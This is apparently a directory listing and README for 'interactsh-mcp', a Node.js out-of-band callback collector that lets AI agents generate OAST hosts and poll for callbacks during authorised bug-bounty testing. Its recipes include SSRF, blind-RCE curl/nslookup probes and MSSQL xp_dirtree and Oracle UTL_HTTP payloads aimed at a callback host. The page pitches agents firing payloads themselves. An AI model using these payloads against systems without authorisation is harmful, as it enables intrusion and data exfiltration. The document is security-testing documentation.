interactsh
Click on "Deploy Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type
@followed by the MCP server name and your instructions, e.g., "@interactshStart an OOB session and give me a URL to test this SSRF, then check for callbacks."
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
Out-of-Band (OOB) interaction collector for bug-bounty hunting and authorized pentesting. A native Node.js implementation of the ProjectDiscovery Interactsh client protocol β exposed as an MCP server for AI agents and a tiny background-monitor CLI.
No Go binary. Zero npm dependencies. Just Node β₯ 16.
β‘ Quick start Β· π§ MCP tools Β· π» CLI Β· ποΈ How it works Β· π― Recipes Β· π©Ί Troubleshooting Β· β FAQ
Forauthorized security testing only β bug-bounty programs, your own assets, and engagements you have written permission to perform. See DISCLOSURE.
β¨ Highlights
π§© MCP-native | Drop it into Claude Code, Cursor, Windsurf, Freebuff, or any MCP client and let the agent fire payloads and read the callbacks itself. |
π¦ Zero dependencies | Pure Node.js |
π Real protocol, not scraping | Implements register/poll, RSA-OAEP-SHA256 key wrap, AES-256-CTR payloads, xid correlation-ids and z-base-32 nonces exactly as the Go reference. |
π Stable domain | Identity persists in |
β‘ Fast, shared polling | A background daemon polls every 4 s; the CLI and MCP server read the same evidence file. |
π°οΈ Server failover | Registers against |
π©Ή Self-healing state | Auto-rotates on eviction, and survives a locked state file by falling back to |
Related MCP server: elsba3ei Webhook MCP Server
β‘ Quick start
npm install -g @bytesknight86/interactsh-mcpAdd this to your MCP client config:
{
"mcpServers": {
"interactsh": { "command": "interactsh-mcp", "args": ["stdio"] }
}
}Then just talk to your agent:
You: Use the interactsh tools to start a session and give me an OOB URL for this SSRF.
Agent: calls
oob_urlβ injects the host β waits β callsoob_pollβ reports the callback IP, headers and body.
interactsh-mcp --start # background collector β prints your OOB domain
interactsh-mcp --url 3 # 3 unique payload hosts, one per injection point
# β inject one of them (SSRF / RCE / XXE / log poisoning β¦)
sleep 6
interactsh-mcp --http # the raw requests that came back (IP + full request)One-liner self-test (fires a DNS + HTTP trigger and prints the captures):
interactsh-mcp --probe 2π¬ 60-second demo
$ interactsh-mcp --start
OOB domain: d72gomcpeqooj0thlc6m.oast.pro
(collector running in background, pid 17992)
$ interactsh-mcp --url 1
https://d72gomcpeqooj0thlc6mmpantcbpcknha.oast.pro http://d72gomcpeqooj0thlc6mmpantcbpcknha.oast.pro
# β¦inject it wherever the target will fetch a URL, then:
$ interactsh-mcp --http
ββββββββββββββββββββββββββββββββββββββββββββ
protocol: http
time: 2026-10-17T16:13:41.596Z
id: d72gomcpeqooj0thlc6mmpantcbpcknha
remote: 146.70.29.197
request: GET / HTTP/2.0
Host: d72gomcpeqooj0thlc6mmpantcbpcknha.oast.pro
User-Agent: curl/8.5.0
response: HTTP/1.1 200 OKπ§ MCP tools
Tool | Arguments | Returns |
| β | domain, registration/polling health, interaction count, write errors |
| β |
|
|
| N unique payload hosts + |
|
| new interactions since a cursor; |
| β | every interaction ever captured |
| β | drop the session and register a fresh domain |
oob_url { n: 3, marker: "ssrf_image_import" }
β 3 hosts, one per injection point
# agent injects + waits ~6s
oob_poll { caller: "ssrf_image_import" }
β { cursor: 42, count: 1, interactions: [ { protocol: "http", remote-address: "β¦", raw-request: "GET /β¦" } ] }caller keeps a per-hunt cursor so repeated polls never re-report old hits.
π» CLI
interactsh-mcp --help show help
interactsh-mcp --start start the background collector, print the domain, return
interactsh-mcp --domain show the active domain + collector status
interactsh-mcp --url [N] print N unique OOB payload URLs to inject
interactsh-mcp --http [N] show the last N interactions (DNS + HTTP + SMTP/LDAPβ¦)
interactsh-mcp --probe [N] self-test: payload β DNS + HTTP trigger β wait β show captures
interactsh-mcp --restart drop the session β FRESH domain
interactsh-mcp --stop stop the collector (clears history; add --keep-logs to keep it)
interactsh-mcp --json machine-readable status
interactsh-mcp stdio run as an MCP server on stdioEvery entry point (interactsh-mcp, interactsh-mcp.cmd, launcher.js, server.js) funnels into the same implementation and the same data directory β so the MCP tools and the CLI always see the same evidence.
ποΈ How it works
flowchart LR
subgraph TARGET["π― Target you're testing"]
A["SSRF Β· blind RCE Β· XXE<br/>log poisoning Β· SQLi exfil"]
end
subgraph OAST["π°οΈ Interactsh OAST servers"]
S["oast.pro Β· oast.live Β· oast.site<br/>register / poll Β· DNS Β· HTTP Β· SMTP Β· LDAP"]
end
subgraph LOCAL["π» Your machine (Node β₯ 16)"]
D["lib/daemon.js<br/>poller Β· every 4s"]
M["lib/mcp-server.js<br/>MCP over stdio"]
C["bin/cli.js<br/>interactsh-mcp"]
ST[("~/.interactsh-mcp/<br/>shared state")]
LLM["π€ AI agent / MCP client"]
end
A -- "resolves / fetches the payload host" --> S
D -- "poll (AES-256-CTR)" --> S
M -- "poll" --> S
S -- "encrypted interactions" --> D
D --> ST
M --> ST
C --> ST
LLM <--> MThe server attributes an interaction only when a single 33-char label is present in the host β 20 chars of correlation-id (xid alphabet) followed by 13 chars of nonce (z-base-32):
20 chars (xid) 13 chars (z-base-32)
ββββββββββββββββββββ βββββββββββββββββββββ
d72gomcpeqooj0thlc6m mpantcbpcknha . oast.pro
βββββββββββ correlation-id βββββββββββ ββ OAST server
+ nonce β 33-char single labelβ
http://d72gomcpeqooj0thlc6mmpantcbpcknha.oast.pro/β
http://some/path.d72gomcpeqooj0thlc6m.oast.pro/β the bare domain is never attributed.
Always take hosts from --url / oob_url; never hand-roll them.
File | Purpose |
| identity: correlation-id, secret-key, RSA keys (domain survives restarts) |
| every captured interaction (raw HTTP request/response, DNS, SMTP, LDAPβ¦) |
| current payload domain |
| collector status (pid, health, counters) |
| per- |
| register / poll / eviction events |
If an OS security agent locks one of these names, the store transparently falls back to a *.state.* name and reports it as fs_write_error β it never silently drops your session.
π― Hunting recipes
Inject a payload URL into any field the server will fetch, then interactsh-mcp --http:
interactsh-mcp --url 1
# β https://<payload-host>{ "image_url": "https://<payload-host>/", "webhook": "https://<payload-host>/cb" }A callback (with the User-Agent / headers of the fetcher) proves outbound reachability.
interactsh-mcp --url 1
# β <payload-host>curl http://<payload-host>/
nslookup <payload-host>
ping -c1 <payload-host>Declare an external entity whose SYSTEM identifier is one of your payload URLs, then reference that entity in the document body. A vulnerable parser resolves it server-side and you get the callback.
<!-- external entity: SYSTEM id = an oob_url payload Β· referenced in the body -->-- MSSQL
EXEC master..xp_dirtree '\\<payload-host>\x';
-- Oracle
SELECT UTL_HTTP.REQUEST('http://<payload-host>/') FROM dual;Give each injection point its own host (via oob_url { n, marker }) and the callback tells you exactly which sink ingested and fetched it β including the proxy/hostname it came from.
π©Ί Troubleshooting
Make sure you hit a 33-char payload host, not the bare domain (see Payload anatomy).
Check the collector:
interactsh-mcp --domainβdomain,last_error,fs_write_error.Self-test the whole path:
interactsh-mcp --probe 1.
A Windows security agent (observed with Bitdefender's RedLine ransomware-remediation module) can reserve a filename after it is deleted, so it can't be recreated. The store falls back to session.state.json / domain.state.txt and keeps running. To clear the reservation, add an AV exclusion for the data directory or reboot.
The identity lives in session.json. If the session is evicted (two consecutive poll 401s) the daemon auto-rotates. --stop / --restart clear history by default β use --keep-logs to preserve evidence across them.
β FAQ
π§± Requirements
Node.js β₯ 16
Windows / Linux / macOS
Outbound HTTPS to an OAST server (falls back to plain HTTP if needed)
π€ Contributing
Issues and PRs are welcome. Run the local battery before opening a PR:
node mcp_test.js # MCP stdio battery (11/11 expected)
node test_suite.js # end-to-end DNS + HTTP round-trip suiteπ License
MIT Β© 2026
Built for hunters who want callbacks, not ceremonies.
This server cannot be deployed
Maintenance
Related MCP Connectors
Anonymous webhook capture, inspection, waiting, and response configuration for AI agents.
Webhook, email and DNS inboxes for AI agents to capture callbacks and test integrations.
WAF-bypass web scraper and passive URL mapper for AI agents with zero pay-on-fail.
Agent rental platform: web-vuln scanning, OSINT and red-team tools via subscription.
Related MCP Servers
- FlicenseAqualityCmaintenanceMCP server providing direct tool-access to security-testing primitives for bug bounty hunting, including recon, request replay, IDOR/BOLA fuzzing, vulnerability detection, secrets scanning, and persistent hunt memory with confidence-scored findings.38-
- AlicenseNot gradedqualityBmaintenanceA high-performance local and public webhook inspector for testing SSRF, APIs, and out-of-band interactions with Cloudflare Quick Tunnel, dynamic mocks, and callback polling for AI agents.1MIT
- AlicenseNot gradedqualityNot gradedmaintenanceEnables authorized penetration testers to run reconnaissance, web fuzzing, vulnerability scanning, brute-force/password cracking, traffic capture, privilege-escalation audits, wordlist generation, and client-report workflows over stdio, HTTP, or SSE with optional bearer/OIDC authentication.81 npmGPL 3.0
- AlicenseNot gradedqualityCmaintenanceEnables AI agents to conduct authorized pentests and bug-bounty workflows with scope enforcement, audit logging, reconnaissance, safe vulnerability checks, payload/wordlist generation, and professional report generation.MIT